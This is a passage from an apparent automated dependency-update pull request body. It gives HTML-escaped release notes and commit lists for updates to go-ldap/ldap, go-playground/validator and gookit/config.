href=\"https://redirect.github.com/go-ldap/ldap/pull/574\"\u003ego-ldap/ldap#574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix ExtendedResponse parsing by \u003ca href=\"https://github.com/giggsoff\"\u003e\u003ccode\u003e@​giggsoff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/575\"\u003ego-ldap/ldap#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: correct extended request/response handling in \u003ccode\u003eExtended\u003c/code\u003e by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/576\"\u003ego-ldap/ldap#576\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: simplify \u003ccode\u003eWhoAmI\u003c/code\u003e implementation using \u003ccode\u003eExtended\u003c/code\u003e API by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/577\"\u003ego-ldap/ldap#577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add \u003ccode\u003ePostalAddress\u003c/code\u003e type by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/579\"\u003ego-ldap/ldap#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update dependencies by \u003ca href=\"https://github.com/cpuschma\"\u003e\u003ccode\u003e@​cpuschma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/581\"\u003ego-ldap/ldap#581\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAddress panic in GetLDAPError, add fuzzer by \u003ca href=\"https://github.com/TomSellers\"\u003e\u003ccode\u003e@​TomSellers\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/582\"\u003ego-ldap/ldap#582\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/johnallers\"\u003e\u003ccode\u003e@​johnallers\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/571\"\u003ego-ldap/ldap#571\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gibmat\"\u003e\u003ccode\u003e@​gibmat\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/572\"\u003ego-ldap/ldap#572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/reshke\"\u003e\u003ccode\u003e@​reshke\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/574\"\u003ego-ldap/ldap#574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/giggsoff\"\u003e\u003ccode\u003e@​giggsoff\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-ldap/ldap/pull/575\"\u003ego-ldap/ldap#575\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\"\u003ehttps://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/3bbbfb11ea214eec5d517c815a9ea3c69aa49afb\"\u003e\u003ccode\u003e3bbbfb1\u003c/code\u003e\u003c/a\u003e Address panic in GetLDAPError, add fuzzer (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/582\"\u003e#582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/539d8f570b229530b402f5c8fd9c10258157d1d9\"\u003e\u003ccode\u003e539d8f5\u003c/code\u003e\u003c/a\u003e chore: update dependencies (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/581\"\u003e#581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/570560be831a510ba3516f66fa6d3c43194ebe50\"\u003e\u003ccode\u003e570560b\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ePostalAddress\u003c/code\u003e type (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/579\"\u003e#579\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/8bb1a965ebb340ed8557040b6ae34181dc3a7a16\"\u003e\u003ccode\u003e8bb1a96\u003c/code\u003e\u003c/a\u003e refactor: simplify \u003ccode\u003eWhoAmI\u003c/code\u003e implementation using \u003ccode\u003eExtended\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/577\"\u003e#577\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/f881ce827fcf62c23303095aeeeff073a863cf14\"\u003e\u003ccode\u003ef881ce8\u003c/code\u003e\u003c/a\u003e refactor: remove redundant \u003ccode\u003eResultCode\u003c/code\u003e field from \u003ccode\u003eExtendedResponse\u003c/code\u003e struct\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/5f4b93789c4e0515916c5b20419c9820a7d46755\"\u003e\u003ccode\u003e5f4b937\u003c/code\u003e\u003c/a\u003e refactor: remove accidently published \u003ccode\u003eReferral\u003c/code\u003e field from `ExtendedResponse...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/bdde9c57877c31d990a912c4bf415a11e560f026\"\u003e\u003ccode\u003ebdde9c5\u003c/code\u003e\u003c/a\u003e fix: correct extended request/response handling in \u003ccode\u003eExtended\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/d5557d0aecca015950e7541c2798a4a20b7bcc52\"\u003e\u003ccode\u003ed5557d0\u003c/code\u003e\u003c/a\u003e refactor: simplify container command resolution in Makefile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/dbef7bed8558992121519cebc92db402a19756c6\"\u003e\u003ccode\u003edbef7be\u003c/code\u003e\u003c/a\u003e Fix ExtendedResponse parsing (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-ldap/ldap/commit/0935f925360d0c57a787e00cea5813a602563ae8\"\u003e\u003ccode\u003e0935f92\u003c/code\u003e\u003c/a\u003e Update search.go: fix typo (\u003ca href=\"https://redirect.github.com/go-ldap/ldap/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/go-ldap/ldap/compare/v3.4.12...v3.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-playground/validator/v10` from 10.30.1 to 10.30.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-playground/validator/releases\"\u003egithub.com/go-playground/validator/v10's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.30.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.46.0 to 0.47.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1523\"\u003ego-playground/validator#1523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add translations for alphaspace and alphanumspace tags in indonesian by \u003ca href=\"https://github.com/savioruz\"\u003e\u003ccode\u003e@​savioruz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1522\"\u003ego-playground/validator#1522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump github.com/gabriel-vasile/mimetype from 1.4.12 to 1.4.13 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1526\"\u003ego-playground/validator#1526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add cmyk(color) to validator by \u003ca href=\"https://github.com/thenicolau\"\u003e\u003ccode\u003e@​thenicolau\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1528\"\u003ego-playground/validator#1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/text from 0.33.0 to 0.34.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1534\"\u003ego-playground/validator#1534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.47.0 to 0.48.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1533\"\u003ego-playground/validator#1533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGo 1.26 support by \u003ca href=\"https://github.com/nodivbyzero\"\u003e\u003ccode\u003e@​nodivbyzero\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1535\"\u003ego-playground/validator#1535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: prevent panic in unique validation with nil pointer elements by \u003ca href=\"https://github.com/nodivbyzero\"\u003e\u003ccode\u003e@​nodivbyzero\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1532\"\u003ego-playground/validator#1532\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix typos by \u003ca href=\"https://github.com/alexandear\"\u003e\u003ccode\u003e@​alexandear\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1527\"\u003ego-playground/validator#1527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: implement ValidatorValuer interface feature by \u003ca href=\"https://github.com/thommeo\"\u003e\u003ccode\u003e@​thommeo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1416\"\u003ego-playground/validator#1416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add Valuer interface documentation and example by \u003ca href=\"https://github.com/wofiporia\"\u003e\u003ccode\u003e@​wofiporia\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1540\"\u003ego-playground/validator#1540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/text from 0.34.0 to 0.35.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1545\"\u003ego-playground/validator#1545\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump golang.org/x/crypto from 0.48.0 to 0.49.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1546\"\u003ego-playground/validator#1546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add postcode patterns for Colombia (CO) and British Virgin Islands (VG) by \u003ca href=\"https://github.com/j-ibarra\"\u003e\u003ccode\u003e@​j-ibarra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1547\"\u003ego-playground/validator#1547\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(fqdn): allow hyphens in last domain label by \u003ca href=\"https://github.com/alihasan070707\"\u003e\u003ccode\u003e@​alihasan070707\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1548\"\u003ego-playground/validator#1548\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/savioruz\"\u003e\u003ccode\u003e@​savioruz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1522\"\u003ego-playground/validator#1522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thenicolau\"\u003e\u003ccode\u003e@​thenicolau\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1528\"\u003ego-playground/validator#1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thommeo\"\u003e\u003ccode\u003e@​thommeo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1416\"\u003ego-playground/validator#1416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wofiporia\"\u003e\u003ccode\u003e@​wofiporia\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1540\"\u003ego-playground/validator#1540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/j-ibarra\"\u003e\u003ccode\u003e@​j-ibarra\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1547\"\u003ego-playground/validator#1547\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alihasan070707\"\u003e\u003ccode\u003e@​alihasan070707\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/go-playground/validator/pull/1548\"\u003ego-playground/validator#1548\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\"\u003ehttps://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/b9258bd2b7bbab41c3d99090cac4a659c5f1a60c\"\u003e\u003ccode\u003eb9258bd\u003c/code\u003e\u003c/a\u003e fix(fqdn): allow hyphens in last domain label (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1548\"\u003e#1548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/b9f1d79d745213827cf712628dfe29211507b011\"\u003e\u003ccode\u003eb9f1d79\u003c/code\u003e\u003c/a\u003e feat: add postcode patterns for Colombia (CO) and British Virgin Islands (VG)...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/7fa95998a0d9ac50f842f7eceeb44383c285fa63\"\u003e\u003ccode\u003e7fa9599\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/crypto from 0.48.0 to 0.49.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1546\"\u003e#1546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/8ca29eca887da7222870fc0ae41e9127960d6838\"\u003e\u003ccode\u003e8ca29ec\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/text from 0.34.0 to 0.35.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1545\"\u003e#1545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/5e1bedfe984f4501e4636e5058905dcd6129084d\"\u003e\u003ccode\u003e5e1bedf\u003c/code\u003e\u003c/a\u003e docs: add Valuer interface documentation and example (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/42927a0f7810a16c558a02d5a75b8c13134ba50c\"\u003e\u003ccode\u003e42927a0\u003c/code\u003e\u003c/a\u003e feat: implement ValidatorValuer interface feature (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1416\"\u003e#1416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/c254ece8c8e35526572e6035f86adb763abb0bce\"\u003e\u003ccode\u003ec254ece\u003c/code\u003e\u003c/a\u003e docs: fix typos (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1527\"\u003e#1527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/43253862b17ba5ae184cff6a136a2e62dbddce4a\"\u003e\u003ccode\u003e4325386\u003c/code\u003e\u003c/a\u003e fix: prevent panic in unique validation with nil pointer elements (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1532\"\u003e#1532\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/d3f35da4560da3a36ed0783f25e2c1d180b11f32\"\u003e\u003ccode\u003ed3f35da\u003c/code\u003e\u003c/a\u003e Go 1.26 support (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1535\"\u003e#1535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-playground/validator/commit/f5c74ce583d5feab2fa257edc52a8c7163dcea89\"\u003e\u003ccode\u003ef5c74ce\u003c/code\u003e\u003c/a\u003e chore(deps): bump golang.org/x/crypto from 0.47.0 to 0.48.0 (\u003ca href=\"https://redirect.github.com/go-playground/validator/issues/1533\"\u003e#1533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/go-playground/validator/compare/v10.30.1...v10.30.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/gookit/config/v2` from 2.2.7 to 2.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gookit/config/releases\"\u003egithub.com/gookit/config/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.2.8\u003c/h2\u003e\n\u003ch2\u003eChange Log\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix parsing of zero duration with units (\u003ca href=\"https://redirect.github.com/gookit/config/issues/202\"\u003e#202\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/5b631cdb4fce72edc25a759159572361d082d6cd\"\u003ehttps://github.com/gookit/config/commit/5b631cdb4fce72edc25a759159572361d082d6cd\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeature\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat(load): 添加按过滤器加载配置文件和环境变量的功能 \u003ca href=\"https://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\"\u003ehttps://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUpdate\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e:necktie: up: update go min version to go 1.21 \u003ca href=\"https://github.com/gookit/config/commit/e6a2a31ef9be86f5a658904d5ebd0d628f37c9a7\"\u003ehttps://github.com/gookit/config/commit/e6a2a31ef9be86f5a658904d5ebd0d628f37c9a7\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Copilot coding agent instructions for efficient repository onboarding (\u003ca href=\"https://redirect.github.com/gookit/config/issues/200\"\u003e#200\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/bfea38ff035e2cd02c30bc42c9c2649906097f8b\"\u003ehttps://github.com/gookit/config/commit/bfea38ff035e2cd02c30bc42c9c2649906097f8b\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github/codeql-action from 3 to 4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/203\"\u003e#203\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/1a9afdaa519f09dc61207e2297e2a1d6949f89d1\"\u003ehttps://github.com/gookit/config/commit/1a9afdaa519f09dc61207e2297e2a1d6949f89d1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/204\"\u003e#204\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e4bef938cb2cba2d12e42a83bc237d7600287bc9\"\u003ehttps://github.com/gookit/config/commit/e4bef938cb2cba2d12e42a83bc237d7600287bc9\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump WillAbides/setup-go-faster from 1.14.0 to 1.15.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/205\"\u003e#205\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e3919e3a8d1691408911074f905f84bff33cfe47\"\u003ehttps://github.com/gookit/config/commit/e3919e3a8d1691408911074f905f84bff33cfe47\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed panic and bugs in Exists()/GetValue() (\u003ca href=\"https://redirect.github.com/gookit/config/issues/206\"\u003e#206\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\"\u003ehttps://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump softprops/action-gh-release from 2 to 3 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/207\"\u003e#207\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\"\u003ehttps://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/gookit/goutil from 0.7.1 to 0.7.4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/210\"\u003e#210\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\"\u003ehttps://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/go-viper/mapstructure/v2 from 2.4.0 to 2.5.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/208\"\u003e#208\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\"\u003ehttps://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/goccy/go-json from 0.10.5 to 0.10.6 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/212\"\u003e#212\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\"\u003ehttps://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/goccy/go-yaml from 1.18.0 to 1.19.2 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/209\"\u003e#209\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\"\u003ehttps://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/BurntSushi/toml from 1.5.0 to 1.6.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/211\"\u003e#211\u003c/a\u003e) \u003ca href=\"https://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\"\u003ehttps://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Add stable Go matrix entry and update checks \u003ca href=\"https://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\"\u003ehttps://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: 更新依赖和文档，调整.gitignore \u003ca href=\"https://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\"\u003ehttps://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/ef32aad39d5abef3153aa1c6bab1c0df1640fabf\"\u003e\u003ccode\u003eef32aad\u003c/code\u003e\u003c/a\u003e chore: 更新依赖和文档，调整.gitignore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/50bd1c0253d175921ce61f7d29738002927a3a97\"\u003e\u003ccode\u003e50bd1c0\u003c/code\u003e\u003c/a\u003e feat(load): 添加按过滤器加载配置文件和环境变量的功能\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/81efee04deb0cfd4614538e7554555fa3b3dad23\"\u003e\u003ccode\u003e81efee0\u003c/code\u003e\u003c/a\u003e ci: Add stable Go matrix entry and update checks\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/67d37cd1abc71aa6020737b7c9286e53a26fd0d9\"\u003e\u003ccode\u003e67d37cd\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/BurntSushi/toml from 1.5.0 to 1.6.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/4fd16162edf25dfc5a25d06412056b49c340dc5e\"\u003e\u003ccode\u003e4fd1616\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/goccy/go-yaml from 1.18.0 to 1.19.2 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/209\"\u003e#209\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/d63dc859bbb126733d63e76294b7a79da949f996\"\u003e\u003ccode\u003ed63dc85\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/goccy/go-json from 0.10.5 to 0.10.6 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\"\u003e\u003ccode\u003ee1e1679\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/go-viper/mapstructure/v2 from 2.4.0 to 2.5.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\"\u003e\u003ccode\u003e9328cee\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/gookit/goutil from 0.7.1 to 0.7.4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\"\u003e\u003ccode\u003efa9ac8d\u003c/code\u003e\u003c/a\u003e build(deps): bump softprops/action-gh-release from 2 to 3 (\u003ca 